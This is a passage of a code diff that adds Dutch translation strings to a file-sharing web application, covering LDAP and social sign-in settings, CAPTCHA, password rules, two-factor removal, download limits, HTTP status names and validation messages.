(unencrypted)": "Geen (onversleuteld)", + "StartTLS": "StartTLS", + "LDAPS (implicit TLS)": "LDAPS (impliciete TLS)", + "Allow clients to sign in with a directory account": "Klanten toestaan in te loggen met een directory-account", + "Let clients sign in with their directory account. Staff always authenticate locally.": "Laat klanten inloggen met hun directory-account. Het team authenticeert altijd lokaal.", + "Create an account on first sign-in": "Een account aanmaken bij de eerste aanmelding", + "Directory accounts are always created as clients, never as staff.": "Directory-accounts worden altijd als klant aangemaakt, nooit als teamlid.", + "Someone in the directory with no account here gets a client account and is signed in immediately.": "Wie in de directory staat maar hier geen account heeft, krijgt een klantaccount en wordt meteen ingelogd.", + "Someone in the directory with no account here gets a client account that waits in Account requests for approval.": "Wie in de directory staat maar hier geen account heeft, krijgt een klantaccount dat bij Accountaanvragen op goedkeuring wacht.", + "Only people who already have an account here can sign in.": "Alleen mensen die hier al een account hebben, kunnen inloggen.", + "Combined with the address match, to narrow who may sign in.": "Wordt gecombineerd met de adresovereenkomst, om te beperken wie mag inloggen.", + "The attribute holding the address people sign in with — usually mail.": "Het attribuut met het adres waarmee mensen inloggen — meestal mail.", + "Where in the tree to look for people.": "Waar in de boom naar personen wordt gezocht.", + "Leave blank to search anonymously.": "Laat leeg om anoniem te zoeken.", + "Stored encrypted, and never shown again.": "Wordt versleuteld opgeslagen en nooit meer getoond.", + "Stored encrypted. Leave blank to keep the current one.": "Wordt versleuteld opgeslagen. Laat leeg om het huidige te behouden.", + "For a directory presenting a certificate from your own certificate authority.": "Voor een directory die een certificaat van je eigen certificaatautoriteit aanbiedt.", + "Unencrypted: the service account password and every client password cross the network in clear text.": "Onversleuteld: het wachtwoord van het serviceaccount en dat van elke klant gaan in leesbare tekst over het netwerk.", + "When a client’s password is not recognised locally, it is checked against the directory. Staff accounts always authenticate locally and are never sent to it.": "Als het wachtwoord van een klant lokaal niet wordt herkend, wordt het bij de directory gecontroleerd. Teamaccounts authenticeren altijd lokaal en worden er nooit naartoe gestuurd.", + "The PHP LDAP extension is not installed on this server, so these settings cannot take effect.": "De PHP LDAP-extensie is niet op deze server geïnstalleerd, dus deze instellingen kunnen niet werken.", + "The PHP LDAP extension is not installed on this server.": "De PHP LDAP-extensie is niet op deze server geïnstalleerd.", + "Saves are not required to test — but the test uses the settings as last saved.": "Opslaan is niet nodig om te testen — maar de test gebruikt de instellingen zoals ze het laatst zijn opgeslagen.", + "Test a sign-in": "Een aanmelding testen", + "Email address (optional)": "E-mailadres (optioneel)", + "Password (optional)": "Wachtwoord (optioneel)", + "Connected and bound as the service account.": "Verbonden en aangemeld als het serviceaccount.", + "Could not connect or bind as the service account: :error": "Kon niet verbinden of aanmelden als het serviceaccount: :error", + "Found a matching entry.": "Een overeenkomend item gevonden.", + "No directory entry matched that address under the base DN.": "Geen directory-item komt onder de basis-DN overeen met dat adres.", + "The directory rejected that password.": "De directory heeft dat wachtwoord geweigerd.", + "The search failed: :error": "De zoekopdracht is mislukt: :error", + "The sign-in bind failed: :error": "De aanmelding is mislukt: :error", + "Signed in successfully.": "Aanmelden gelukt.", + "1 item": "1 item", + ":count items": ":count items", + "1 API token": "1 API-token", + ":count API tokens": ":count API-tokens", + "1 assigned client": "1 toegewezen klant", + ":count assigned clients": ":count toegewezen klanten", + "Managed by 1 staff member": "Beheerd door 1 teamlid", + "Managed by :count staff members": "Beheerd door :count teamleden", + "1 group membership": "1 groepslidmaatschap", + ":count group memberships": ":count groepslidmaatschappen", + "1 file shared with them": "1 bestand met dit account gedeeld", + ":count files shared with them": ":count bestanden met dit account gedeeld", + "Approve these accounts automatically": "Deze accounts automatisch goedkeuren", + "Your directory has already established who they are, so there is nobody to vet. Leave this off to review each one in Account requests first.": "Je directory heeft hun identiteit al vastgesteld, dus er valt niemand te controleren. Laat dit uit om ze eerst stuk voor stuk te beoordelen bij Accountaanvragen.", + "Clients who register themselves are approved automatically — this setting is separate, and does not follow it.": "Klanten die zichzelf registreren, worden automatisch goedgekeurd — deze instelling staat daar los van en volgt dat niet.", + "Clients who register themselves still wait for approval — this setting is separate, and does not change that.": "Klanten die zichzelf registreren, wachten nog steeds op goedkeuring — deze instelling staat daar los van en verandert dat niet.", + "Container filesystem": "Bestandssysteem van de container", + "Docker volume": "Docker-volume", + "Files stored on": "Bestanden opgeslagen op", + "Host directory": "Map op de host", + "That means docker compose down -v and docker volume prune both delete them, and a backup of your server can miss them entirely.": "Dat betekent dat docker compose down -v en docker volume prune ze allebei verwijderen, en dat een back-up van je server ze volledig kan missen.", + "They are not on any volume, so rebuilding or recreating this container will permanently delete every file. Move them to a directory on the host before uploading anything else.": "Ze staan op geen enkel volume, dus het opnieuw bouwen of aanmaken van deze container verwijdert elk bestand definitief. Verplaats ze naar een map op de host voordat je nog iets uploadt.", + "They survive upgrades, but they live in a Docker-managed volume rather than a directory you chose.": "Ze overleven upgrades, maar staan in een door Docker beheerd volume in plaats van in een map die jij hebt gekozen.", + "They survive upgrades, but they live in the Docker volume :volume rather than a directory you chose.": "Ze overleven upgrades, maar staan in het Docker-volume :volume in plaats van in een map die jij hebt gekozen.", + "Uploaded files are inside Docker": "Geüploade bestanden staan binnen Docker", + "Uploaded files are stored inside the container": "Geüploade bestanden worden in de container opgeslagen", + "1 more language available": "Nog 1 taal beschikbaar", + ":count more languages available": "Nog :count talen beschikbaar", + ":left of :limit downloads left": ":left van :limit downloads over", + ":limit downloads per person": ":limit downloads per persoon", + ":name will sign in with just their password until they set it up again, and will be emailed about this change. If two-factor authentication is required on this site, they will be asked to enrol again at their next sign-in.": ":name meldt zich alleen met het wachtwoord aan totdat het opnieuw is ingesteld, en krijgt een e-mail over deze wijziging. Als tweefactorauthenticatie op deze site verplicht is, wordt bij de volgende aanmelding gevraagd om die opnieuw in te stellen.", + ":provider accepted your secret key.": ":provider heeft je geheime sleutel geaccepteerd.", + ":provider connected.": ":provider gekoppeld.", + ":provider did not provide an email address, which is required to sign in.": ":provider heeft geen e-mailadres opgegeven, dat is nodig om aan te melden.", + ":provider disconnected.": ":provider ontkoppeld.", + ":provider never reports whether an address is verified, so with this on it can create new accounts but can never sign in to an existing one. Connecting it from Settings while already signed in still works.": ":provider meldt nooit of een adres geverifieerd is, dus met deze optie aan kan het wel nieuwe accounts aanmaken maar zich nooit bij een bestaand account aanmelden. Koppelen via Instellingen terwijl je al aangemeld bent, werkt nog steeds.", + ":provider rejected your secret key.": ":provider heeft je geheime sleutel geweigerd.", + ":provider settings saved.": "Instellingen voor :provider opgeslagen.", + ":used of :limit downloads used": ":used van :limit downloads gebruikt", + "A :provider account was connected": "Er is een :provider-account gekoppeld", + "A :provider account was disconnected": "Er is een :provider-account ontkoppeld", + "Accounts at :domain cannot sign in with :provider here.": "Accounts van :domain kunnen zich hier niet met :provider aanmelden.", + "A client account was created from :provider": "Er is een klantaccount aangemaakt vanuit :provider", + "Allowed email domains": "Toegestane e-maildomeinen", + "Allow signing in with :provider": "Aanmelden met :provider toestaan", + "Always a client account. Staff accounts are only ever created by an administrator.": "Altijd een klantaccount. Teamaccounts worden alleen door een beheerder aangemaakt.", + "Always available — the application is written in English, so it needs no translation file.": "Altijd beschikbaar — de applicatie is in het Engels geschreven en heeft dus geen vertaalbestand nodig.", + "An account already uses this email address, and :provider did not confirm that you own it. Sign in with your password and connect :provider from your settings instead.": "Een account gebruikt dit e-mailadres al, en :provider heeft niet bevestigd dat het van jou is. Meld je in plaats daarvan aan met je wachtwoord en koppel :provider via je instellingen.", + "An address the provider has not confirmed can never be matched to an account that already exists here. Turning this off means anyone who can register at your provider under someone else’s address can sign in as them.": "Een adres dat de provider niet heeft bevestigd, kan nooit worden gekoppeld aan een account dat hier al bestaat. Dit uitzetten betekent dat iedereen die zich bij je provider onder het adres van iemand anders kan registreren, zich als die persoon kan aanmelden.", + "An administrator removed two-factor authentication from your account. You can set it up again from your security settings. Contact your administrator if this was not expected.": "Een beheerder heeft tweefactorauthenticatie van je account verwijderd. Je kunt die opnieuw instellen via je beveiligingsinstellingen. Neem contact op met je beheerder als je dit niet had verwacht.", + "Anyone who can reach a file sees the categories assigned to it — a client in their portal, or anyone holding a public or shared link. Signed-in clients can also filter their files by any category in this list. Only your team can create, rename or delete them.": "Iedereen die een bestand kan bereiken, ziet de categorieën die eraan zijn toegewezen — een klant in het portaal, of iedereen met een openbare of gedeelde link. Aangemelde klanten kunnen hun bestanden ook filteren op elke categorie in deze lijst. Alleen je team kan ze aanmaken, hernoemen of verwijderen.", + "Applies whenever a password is chosen, not when one is used to sign in": "Geldt telkens wanneer een wachtwoord wordt gekozen, niet wanneer het wordt gebruikt om aan te melden", + "Approve those accounts automatically": "Die accounts automatisch goedkeuren", + "A secret is stored. Leave this blank to keep it.": "Er is een geheim opgeslagen. Laat dit leeg om het te behouden.", + "At least :count characters.": "Minimaal :count tekens.", + "Between 0.0 (treat everyone as a bot) and 1.0 (treat everyone as human). The usual value is 0.5.": "Tussen 0.0 (behandel iedereen als bot) en 1.0 (behandel iedereen als mens). De gebruikelijke waarde is 0.5.", + "CAPTCHA": "CAPTCHA", + "CAPTCHA is currently switched off. Choose a provider and enter its keys to switch it on.": "De CAPTCHA staat momenteel uit. Kies een provider en voer de sleutels ervan in om die aan te zetten.", + "CAPTCHA settings saved.": "CAPTCHA-instellingen opgeslagen.", + "Categories are visible outside your team": "Categorieën zijn zichtbaar buiten je team", + "Change yours": "Wijzig de jouwe", + "Checks new passwords against the Have I Been Pwned breach corpus. The password itself never leaves this server — only the first five characters of its hash are sent.": "Controleert nieuwe wachtwoorden tegen de lekkenlijst van Have I Been Pwned. Het wachtwoord zelf verlaat deze server nooit — alleen de eerste vijf tekens van de hash worden verstuurd.", + "Checks the secret key with your provider. Nobody has to solve a challenge.": "Controleert de geheime sleutel bij je provider. Niemand hoeft een test op te lossen.", + "Client ID": "Client-ID", + "Client registration": "Klantregistratie", + "Client secret": "Client-geheim", + "Cloudflare Turnstile": "Cloudflare Turnstile", + "Comma separated. Leave blank to allow any address.": "Gescheiden door komma's. Laat leeg om elk adres toe te staan.", + "Comments from visitors": "Reacties van bezoekers", + "Complete the security check and try again.": "Voltooi de beveiligingscontrole en probeer het opnieuw.", + "Configure it myself": "Zelf instellen", + "Connected": "Gekoppeld", + "Connected accounts": "Gekoppelde accounts", + "Connected the :provider account of \":subject\"": "Heeft het :provider-account van \":subject\" gekoppeld", + "Continue with :provider": "Doorgaan met :provider", + "Could not reach :provider: :error": "Kon :provider niet bereiken: :error", + "Created a client account from :provider on first sign-in": "Heeft bij de eerste aanmelding een klantaccount aangemaakt vanuit :provider", + "Dates and times across the app are shown in this zone. Detected from your browser the first time you signed in.": "Datums en tijden in de hele app worden in deze zone getoond. Gedetecteerd via je browser toen je je voor het eerst aanmeldde.", + "Default language": "Standaardtaal", + "Directory (tenant) ID": "Directory-(tenant-)ID", + "Disabled": "Uitgeschakeld", + "Disconnect": "Ontkoppelen", + "Disconnected the :provider account of \":subject\"": "Heeft het :provider-account van \":subject\" ontkoppeld", + "Downloaded :count time(s) so far. Your own downloads never count.": "Tot nu toe :count keer gedownload. Je eigen downloads tellen nooit mee.", + "Download limit": "Downloadlimiet", + "Download limit reached": "Downloadlimiet bereikt", + "Each person separately": "Elke persoon afzonderlijk", + "Enabled": "Ingeschakeld", + "Enter a secret key first.": "Voer eerst een geheime sleutel in.", + "Enter a specific tenant ID. The shared \"common\", \"organizations\" and \"consumers\" endpoints let any Microsoft tenant assert any email address.": "Voer een specifieke tenant-ID in. De gedeelde endpoints \"common\", \"organizations\" en \"consumers\" laten elke Microsoft-tenant elk e-mailadres claimen.", + "Every language installed on this server is listed below. Tick the ones you want offered in the language menu — staff, clients and public visitors will only see those. Installing another language is a matter of adding its translation file to the lang folder.": "Hieronder staan alle talen die op deze server zijn geïnstalleerd. Vink de talen aan die je in het taalmenu wilt aanbieden — team, klanten en openbare bezoekers zien alleen die. Een andere taal installeren is een kwestie van het vertaalbestand ervan aan de map lang toevoegen.", + "Existing passwords are never re-checked, so raising this only affects passwords chosen from now on.": "Bestaande wachtwoorden worden nooit opnieuw gecontroleerd, dus dit verhogen heeft alleen invloed op wachtwoorden die vanaf nu worden gekozen.", + "Facebook": "Facebook", + "GitHub": "GitHub", + "Google": "Google", + "In total, across everyone": "In totaal, over iedereen", + "Issuer URL": "Uitgever-URL", + "Languages": "Talen", + "Language settings": "Taalinstellingen", + "Leave empty for a file that can be downloaded any number of times.": "Laat leeg voor een bestand dat een onbeperkt aantal keer kan worden gedownload.", + "Length is the single biggest factor in how hard a password is to guess, which is why there are no \"must contain a capital letter\" rules here — they push people towards predictable substitutions and shorter passwords.": "Lengte is veruit de belangrijkste factor voor hoe moeilijk een wachtwoord te raden is, en daarom zijn er hier geen regels als \"moet een hoofdletter bevatten\" — die duwen mensen richting voorspelbare vervangingen en kortere wachtwoorden.", + "Let people sign in with an account they already have somewhere else.": "Laat mensen zich aanmelden met een account dat ze al ergens anders hebben.", + "LinkedIn": "LinkedIn", + "Microsoft": "Microsoft", + "Minimum length": "Minimale lengte", + "No limit": "Geen limiet", + "None selected": "Niets geselecteerd", + "No sign-in providers have been set up for this site.": "Er zijn geen aanmeldproviders ingesteld voor deze site.", + "Not connected": "Niet gekoppeld", + "Off means they wait in Account requests. An address the provider did not verify always waits, whatever this says.": "Uit betekent dat ze in Accountaanvragen wachten. Een adres dat de provider niet heeft geverifieerd, wacht altijd, ongeacht wat deze instelling zegt.", + "Off — no CAPTCHA": "Uit — geen CAPTCHA", + "OpenID Connect": "OpenID Connect", + "Or continue with": "Of ga verder met", + "Or sign up with": "Of registreer met", + "Passwords": "Wachtwoorden", + "Passwords that appear in known data breaches are not accepted.": "Wachtwoorden die in bekende datalekken voorkomen, worden niet geaccepteerd.", + "Protection": "Bescherming", + "Protect these forms": "Deze formulieren beschermen", + "Protect your public forms from automated abuse": "Bescherm je openbare formulieren tegen geautomatiseerd misbruik", + "reCAPTCHA v2": "reCAPTCHA v2", + "reCAPTCHA v3": "reCAPTCHA v3", + "Redirect URI": "Redirect-URI", + "Register this exact address with :provider. It must match character for character.": "Registreer precies dit adres bij :provider. Het moet teken voor teken overeenkomen.", + "Reject passwords found in known data breaches": "Wachtwoorden uit bekende datalekken weigeren", + "Removed two-factor authentication from \":subject\"": "Heeft tweefactorauthenticatie verwijderd van \":subject\"", + "Remove the limit": "Limiet verwijderen", + "Remove two-factor authentication": "Tweefactorauthenticatie verwijderen", + "Remove two-factor authentication?": "Tweefactorauthenticatie verwijderen?", + "Require a verified email address": "Een geverifieerd e-mailadres vereisen", + "Run these as the user your web server runs as. INSTALL.md has the full procedure.": "Voer deze uit als de gebruiker waaronder je webserver draait. INSTALL.md bevat de volledige procedure.", + "Score threshold": "Scoredrempel", + "Search timezones…": "Tijdzones zoeken…", + "Security check failed. Please try again.": "De beveiligingscontrole is mislukt. Probeer het opnieuw.", + "Service": "Dienst", + "Set a password for this account. It has never had one — it signs in through a connected provider, and a staff account needs a credential this application can check on its own.": "Stel een wachtwoord in voor dit account. Het heeft er nooit een gehad — het meldt zich aan via een gekoppelde provider, en een teamaccount heeft een inloggegeven nodig dat deze applicatie zelf kan controleren.", + "Signed-in visitors are never asked to solve a challenge when commenting.": "Aangemelde bezoekers hoeven bij het reageren nooit een test op te lossen.", + "Sign in": "Aanmelden", + "Sign in with an account you already have somewhere else.": "Meld je aan met een account dat je al ergens anders hebt.", + "Site key": "Sitesleutel", + "Social login": "Social login", + "Stored encrypted and never shown again, not even to you.": "Versleuteld opgeslagen en nooit meer getoond, ook niet aan jou.", + "Stored — leave blank to keep it": "Opgeslagen — laat leeg om het te behouden", + "Testing…": "Bezig met testen…", + "Test keys": "Sleutels testen", + "That :provider account is already connected to another account here.": "Dat :provider-account is hier al aan een ander account gekoppeld.", + "That sign-in could not be completed. Please try again.": "Die aanmelding kon niet worden voltooid. Probeer het opnieuw.", + "That sign-in method is not available.": "Die aanmeldmethode is niet beschikbaar.", + "The default language has to be one of the languages you are offering.": "De standaardtaal moet een van de talen zijn die je aanbiedt.", + "The endpoints are read from this address, so it is the whole configuration. Must be https.": "De endpoints worden vanaf dit adres gelezen, dus dit is de volledige configuratie. Moet https zijn.", + "The expiry date must be in the future.": "De vervaldatum moet in de toekomst liggen.", + "The issuer URL must start with https://.": "De uitgever-URL moet met https:// beginnen.", + "The public key. It appears in your pages’ source, which is expected.": "De openbare sleutel. Hij verschijnt in de broncode van je pagina's, wat de bedoeling is.", + "There is no account here for that address.": "Er is hier geen account voor dat adres.", + "The security check could not be loaded. Check that your browser or network is not blocking it, then reload the page.": "De beveiligingscontrole kon niet worden geladen. Controleer of je browser of netwerk die niet blokkeert en herlaad de pagina.", + "This account does not use an authenticator app.": "Dit account gebruikt geen authenticator-app.", + "This account has never had a password of its own — it signs in through a connected provider. Staff need a credential this application can check on its own, so that a provider outage cannot lock them out.": "Dit account heeft nooit een eigen wachtwoord gehad — het meldt zich aan via een gekoppelde provider. Het team heeft een inloggegeven nodig dat deze applicatie zelf kan controleren, zodat een storing bij de provider hen niet buitensluit.", + "This account signs in with an authenticator app. Remove it only if the account holder has lost both the app and their recovery codes.": "Dit account meldt zich aan met een authenticator-app. Verwijder die alleen als de accounthouder zowel de app als de herstelcodes kwijt is.", + "This file has reached its download limit.": "Dit bestand heeft zijn downloadlimiet bereikt.", + "This is the only way you can sign in. Set a password first, then disconnect :provider.": "Dit is de enige manier waarop je je kunt aanmelden. Stel eerst een wachtwoord in en ontkoppel daarna :provider.", + "This site is protected by reCAPTCHA and the Google Privacy Policy and Terms of Service apply.": "Deze site wordt beschermd door reCAPTCHA en het Privacybeleid en de Servicevoorwaarden van Google zijn van toepassing.", + "Those files have reached their download limit.": "Die bestanden hebben hun downloadlimiet bereikt.", + "Timezone": "Tijdzone", + "To update, back up your database and files, then:": "Maak om bij te werken een back-up van je database en bestanden, en daarna:", + "To update, follow the steps in INSTALL.md — back up first, then unpack the release and run the migrations.": "Volg om bij te werken de stappen in INSTALL.md — maak eerst een back-up, pak daarna de release uit en voer de migraties uit.", + "Turn this off only if this server should make no outbound requests. If the service cannot be reached the password is accepted anyway, so an offline installation is never blocked by it.": "Zet dit alleen uit als deze server geen uitgaande verzoeken mag doen. Als de dienst niet bereikbaar is, wordt het wachtwoord toch geaccepteerd, zodat een offline installatie er nooit door wordt geblokkeerd.", + "Two-factor authentication removed.": "Tweefactorauthenticatie verwijderd.", + "Two-factor authentication removed by an admin": "Tweefactorauthenticatie verwijderd door een beheerder", + "Two-factor authentication was removed by an administrator": "De tweefactorauthenticatie is door een beheerder verwijderd", + "Two-factor authentication was removed from your account": "De tweefactorauthenticatie is van je account verwijderd", + "Unexpected reply from :provider: :codes": "Onverwacht antwoord van :provider: :codes", + "Used for anyone who has not chosen a timezone of their own, including visitors to your public pages and share links. Each account can set its own in their profile.": "Gebruikt voor iedereen die geen eigen tijdzone heeft gekozen, inclusief bezoekers van je openbare pagina's en gedeelde links. Elk account kan een eigen tijdzone instellen in het profiel.", + "Use ProjectSend’s protection": "De bescherming van ProjectSend gebruiken", + "Use your own reCAPTCHA or Turnstile account.": "Gebruik je eigen reCAPTCHA- of Turnstile-account.", + "Verification could not be reached recently, so protected forms are being let through unchecked. Nobody is locked out.": "De verificatie was recent niet bereikbaar, dus beschermde formulieren worden ongecontroleerd doorgelaten. Niemand wordt buitengesloten.", + "We protect your public forms for you. Nothing to set up, no keys to manage.": "Wij beschermen je openbare formulieren voor je. Niets in te stellen, geen sleutels te beheren.", + "What people see before they have chosen anything. A signed-in account keeps its own choice, and a visitor whose browser asks for one of the languages above gets that one — this is the answer for everyone else.": "Wat mensen zien voordat ze iets hebben gekozen. Een aangemeld account behoudt de eigen keuze, en een bezoeker wiens browser om een van de bovenstaande talen vraagt, krijgt die — dit is het antwoord voor alle anderen.", + "Which languages people can choose from": "Uit welke talen mensen kunnen kiezen", + "Your account was created through one of these providers and has no password of its own, so the last connection cannot be removed. Set a password first if you want to disconnect it.": "Je account is aangemaakt via een van deze providers en heeft geen eigen wachtwoord, dus de laatste koppeling kan niet worden verwijderd. Stel eerst een wachtwoord in als je die wilt ontkoppelen.", + "Your own account is set to :timezone, so this will not change how dates look to you.": "Je eigen account staat op :timezone, dus dit verandert niet hoe datums er voor jou uitzien.", + "Your own tenant, not \"common\". Microsoft lets a user change the email address on their account, so a sign-in is only trustworthy when the token came from the tenant you named here.": "Je eigen tenant, niet \"common\". Microsoft laat een gebruiker het e-mailadres van het account wijzigen, dus een aanmelding is alleen betrouwbaar wanneer het token afkomstig is van de tenant die je hier hebt opgegeven.", + "Your provider rejected this installation’s secret key, so protected forms are being let through unchecked. Check the secret key below.": "Je provider heeft de geheime sleutel van deze installatie geweigerd, dus beschermde formulieren worden ongecontroleerd doorgelaten. Controleer de geheime sleutel hieronder.", + "Your public forms are protected. You can switch to your own keys at any time.": "Je openbare formulieren zijn beschermd. Je kunt op elk moment overschakelen naar je eigen sleutels." +} diff --git a/lang/nl/actions.php b/lang/nl/actions.php new file mode 100644 index 00000000..21e9c01f --- /dev/null +++ b/lang/nl/actions.php @@ -0,0 +1,119 @@ + 'Aanvaarden', + 'action' => 'Actie', + 'actions' => 'Acties', + 'add' => 'Toevoegen', + 'admin' => 'Beheerder', + 'agree' => 'Akkoord', + 'archive' => 'Archiveren', + 'assign' => 'Toewijzen', + 'associate' => 'Associëren', + 'attach' => 'Bijvoegen', + 'browse' => 'Bladeren', + 'cancel' => 'Annuleren', + 'choose' => 'Kiezen', + 'choose_file' => 'Bestand kiezen', + 'choose_image' => 'Afbeelding kiezen', + 'click_to_copy' => 'Klik om te kopiëren', + 'close' => 'Sluiten', + 'collapse' => 'Inklappen', + 'collapse_all' => 'Alles inklappen', + 'comment' => 'Reageren', + 'confirm' => 'Bevestigen', + 'connect' => 'Verbinden', + 'create' => 'Aanmaken', + 'delete' => 'Verwijderen', + 'detach' => 'Loskoppelen', + 'details' => 'Details', + 'disable' => 'Uitschakelen', + 'discard' => 'Verwerpen', + 'done' => 'Voltooien', + 'down' => 'Omlaag', + 'duplicate' => 'Dupliceren', + 'edit' => 'Bewerken', + 'enable' => 'Inschakelen', + 'expand' => 'Uitklappen', + 'expand_all' => 'Alles uitklappen', + 'explanation' => 'Uitleg', + 'export' => 'Exporteren', + 'file' => 'Bestand', + 'files' => 'Bestanden', + 'go_home' => 'Naar startpagina', + 'hide' => 'Verbergen', + 'home' => 'Startpagina', + 'image' => 'Afbeelding', + 'impersonate' => 'Imiteren', + 'impersonation' => 'Imitatie', + 'import' => 'Importeren', + 'introduction' => 'Introductie', + 'like' => 'Leuk vinden', + 'load' => 'Laden', + 'localize' => 'Lokaliseren', + 'log_in' => 'Inloggen', + 'log_out' => 'Uitloggen', + 'named' => [ + 'add' => ':Name toevoegen', + 'choose' => ':Name kiezen', + 'create' => ':Name aanmaken', + 'delete' => ':Name verwijderen', + 'duplicate' => ':Name dupliceren', + 'edit' => ':Name bewerken', + 'export' => ':Name exporteren', + 'hide' => ':Name verbergen', + 'import' => ':Name importeren', + 'new' => 'Nieuwe :name', + 'restore' => ':Name herstellen', + 'save' => ':Name opslaan', + 'search' => ':Name zoeken', + 'show' => ':Name tonen', + 'update' => ':Name bijwerken', + 'view' => ':Name bekijken', + ], + 'new' => 'Nieuw', + 'no' => 'Nee', + 'open' => 'Openen', + 'open_website' => 'Website openen', + 'preview' => 'Voorbeeld', + 'price' => 'Prijs', + 'record' => 'Opnemen', + 'restore' => 'Herstellen', + 'save' => 'Opslaan', + 'save_and_close' => 'Opslaan en sluiten', + 'save_and_return' => 'Opslaan en teruggaan', + 'search' => 'Zoeken', + 'select' => 'Selecteren', + 'select_all' => 'Alles selecteren', + 'send' => 'Versturen', + 'settings' => 'Instellingen', + 'show' => 'Tonen', + 'show_all' => 'Alles tonen', + 'sign_in' => 'Aanmelden', + 'solve' => 'Oplossen', + 'start' => 'Starten', + 'stop' => 'Stoppen', + 'submit' => 'Indienen', + 'subscribe' => 'Abonneren', + 'switch' => 'Wisselen', + 'switch_to_role' => 'Wisselen naar rol', + 'tag' => 'Label', + 'tags' => 'Labels', + 'target_link' => [ + 'blank' => 'Openen in nieuw venster', + 'parent' => 'Openen in bovenliggend frame', + 'self' => 'Openen in huidig venster', + 'top' => 'Openen in bovenste frame', + ], + 'translate' => 'Vertalen', + 'translate_it' => 'Vertalen', + 'unpack' => 'Uitpakken', + 'unsubscribe' => 'Uitschrijven', + 'up' => 'Omhoog', + 'update' => 'Bijwerken', + 'user' => 'Gebruiker', + 'view' => 'Bekijken', + 'yes' => 'Ja', +]; diff --git a/lang/nl/auth.php b/lang/nl/auth.php new file mode 100644 index 00000000..c6af1632 --- /dev/null +++ b/lang/nl/auth.php @@ -0,0 +1,9 @@ + 'Deze combinatie van e-mailadres en wachtwoord is niet geldig.', + 'password' => 'Wachtwoord is onjuist.', + 'throttle' => 'Te veel mislukte aanmeldpogingen. Probeer het nog eens over :seconds seconden.', +]; diff --git a/lang/nl/http-statuses.php b/lang/nl/http-statuses.php new file mode 100644 index 00000000..d989e31a --- /dev/null +++ b/lang/nl/http-statuses.php @@ -0,0 +1,84 @@ + 'Onbekende foutmelding', + '100' => 'Doorgaan', + '101' => 'Protocolwissel', + '102' => 'Verwerken', + '200' => 'Oké', + '201' => 'Aangemaakt', + '202' => 'Aanvaard', + '203' => 'Niet-gemachtigde informatie', + '204' => 'Geen inhoud', + '205' => 'Inhoud opnieuw instellen', + '206' => 'Gedeeltelijke inhoud', + '207' => 'Meerdere statussen', + '208' => 'Al gemeld', + '226' => 'Ik ben gebruikt', + '300' => 'Meerkeuze', + '301' => 'Definitief verplaatst', + '302' => 'Gevonden', + '303' => 'Zie andere', + '304' => 'Niet gewijzigd', + '305' => 'Gebruik Proxy', + '307' => 'Tijdelijke omleiding', + '308' => 'Definitieve omleiding', + '400' => 'Foute aanvraag', + '401' => 'Niet geautoriseerd', + '402' => 'Betaalde toegang', + '403' => 'Verboden toegang', + '404' => 'Niet gevonden', + '405' => 'Methode niet toegestaan', + '406' => 'Niet aanvaardbaar', + '407' => 'Authenticatie op de proxyserver verplicht', + '408' => 'Aanvraagtijd verstreken', + '409' => 'Conflict', + '410' => 'Verdwenen', + '411' => 'Lengte vereist', + '412' => 'Niet voldaan aan de vooraf gestelde voorwaarde', + '413' => 'Aanvraag te groot', + '414' => 'Aanvraag-URL te lang', + '415' => 'Media-type niet ondersteund', + '416' => 'Bereik niet bevredigend', + '417' => 'Niet voldaan aan verwachting', + '418' => 'Ik ben een theepot', + '419' => 'Pagina verlopen', + '421' => 'Verkeerd geadresseerd verzoek', + '422' => 'Aanvraag kan niet worden verwerkt', + '423' => 'Afgesloten', + '424' => 'Gefaalde afhankelijkheid', + '425' => 'Te vroeg', + '426' => 'Upgrade nodig', + '428' => 'Voorwaarde nodig', + '429' => 'Te veel requests', + '431' => 'Headers van de aanvraag te lang', + '444' => 'Verbinding gesloten zonder reactie', + '449' => 'Opnieuw proberen met', + '451' => 'Toegang geweigerd om juridische redenen', + '499' => 'Klant Gesloten Verzoek', + '500' => 'Interne serverfout', + '501' => 'Niet geïmplementeerd', + '502' => 'Slechte poort', + '503' => 'Dienst niet beschikbaar', + '504' => 'Gateway-time-out', + '505' => 'HTTP-versie wordt niet ondersteund', + '506' => 'Variant onderhandelt ook', + '507' => 'Onvoldoende opslag', + '508' => 'Loop gedetecteerd', + '509' => 'Bandbreedte overschreden', + '510' => 'Niet verlengd', + '511' => 'Netwerkauthenticatie vereist', + '520' => 'Onbekende foutmelding', + '521' => 'Webserver is onbereikbaar', + '522' => 'Connectie duurt te lang', + '523' => 'Herkomst is onbereikbaar', + '524' => 'Time-out opgetreden', + '525' => 'SSL-handshake mislukt', + '526' => 'Ongeldig SSL-certificaat', + '527' => 'Railgun foutmelding', + '598' => 'Time-outfout netwerk lezen', + '599' => 'Fout bij time-out netwerkverbinding', + 'unknownError' => 'Onbekende foutmelding', +]; diff --git a/lang/nl/pagination.php b/lang/nl/pagination.php new file mode 100644 index 00000000..1a6d6335 --- /dev/null +++ b/lang/nl/pagination.php @@ -0,0 +1,8 @@ + 'Volgende »', + 'previous' => '« Vorige', +]; diff --git a/lang/nl/passwords.php b/lang/nl/passwords.php new file mode 100644 index 00000000..16f4174f --- /dev/null +++ b/lang/nl/passwords.php @@ -0,0 +1,11 @@ + 'Het wachtwoord van uw account is gewijzigd.', + 'sent' => 'We hebben een e-mail verstuurd met instructies om een nieuw wachtwoord in te stellen.', + 'throttled' => 'Gelieve even te wachten en het dan opnieuw te proberen.', + 'token' => 'Dit wachtwoordhersteltoken is niet geldig.', + 'user' => 'Geen gebruiker bekend met dit e-mailadres.', +]; diff --git a/lang/nl/validation.php b/lang/nl/validation.php new file mode 100644 index 00000000..6eadd8e1 --- /dev/null +++ b/lang/nl/validation.php @@ -0,0 +1,288 @@ + ':Attribute moet worden geaccepteerd.', + 'accepted_if' => ':Attribute moet worden geaccepteerd als :other :value is.', + 'active_url' => ':Attribute is geen geldige URL.', + 'after' => ':Attribute moet een datum na :date zijn.', + 'after_or_equal' => ':Attribute moet een datum na of gelijk aan :date zijn.', + 'alpha' => ':Attribute mag alleen letters bevatten.', + 'alpha_dash' => ':Attribute mag alleen letters, nummers, underscores (_) en streepjes (-) bevatten.', + 'alpha_num' => ':Attribute mag alleen letters en nummers bevatten.', + 'any_of' => 'Het veld :attribute is ongeldig.', + 'array' => ':Attribute moet geselecteerde elementen bevatten.', + 'ascii' => 'De :attribute mag alleen alfanumerieke tekens en symbolen van één byte bevatten.', + 'before' => ':Attribute moet een datum vóór :date zijn.', + 'before_or_equal' => ':Attribute moet een datum vóór of gelijk aan :date zijn.', + 'between' => [ + 'array' => ':Attribute moet tussen :min en :max waardes 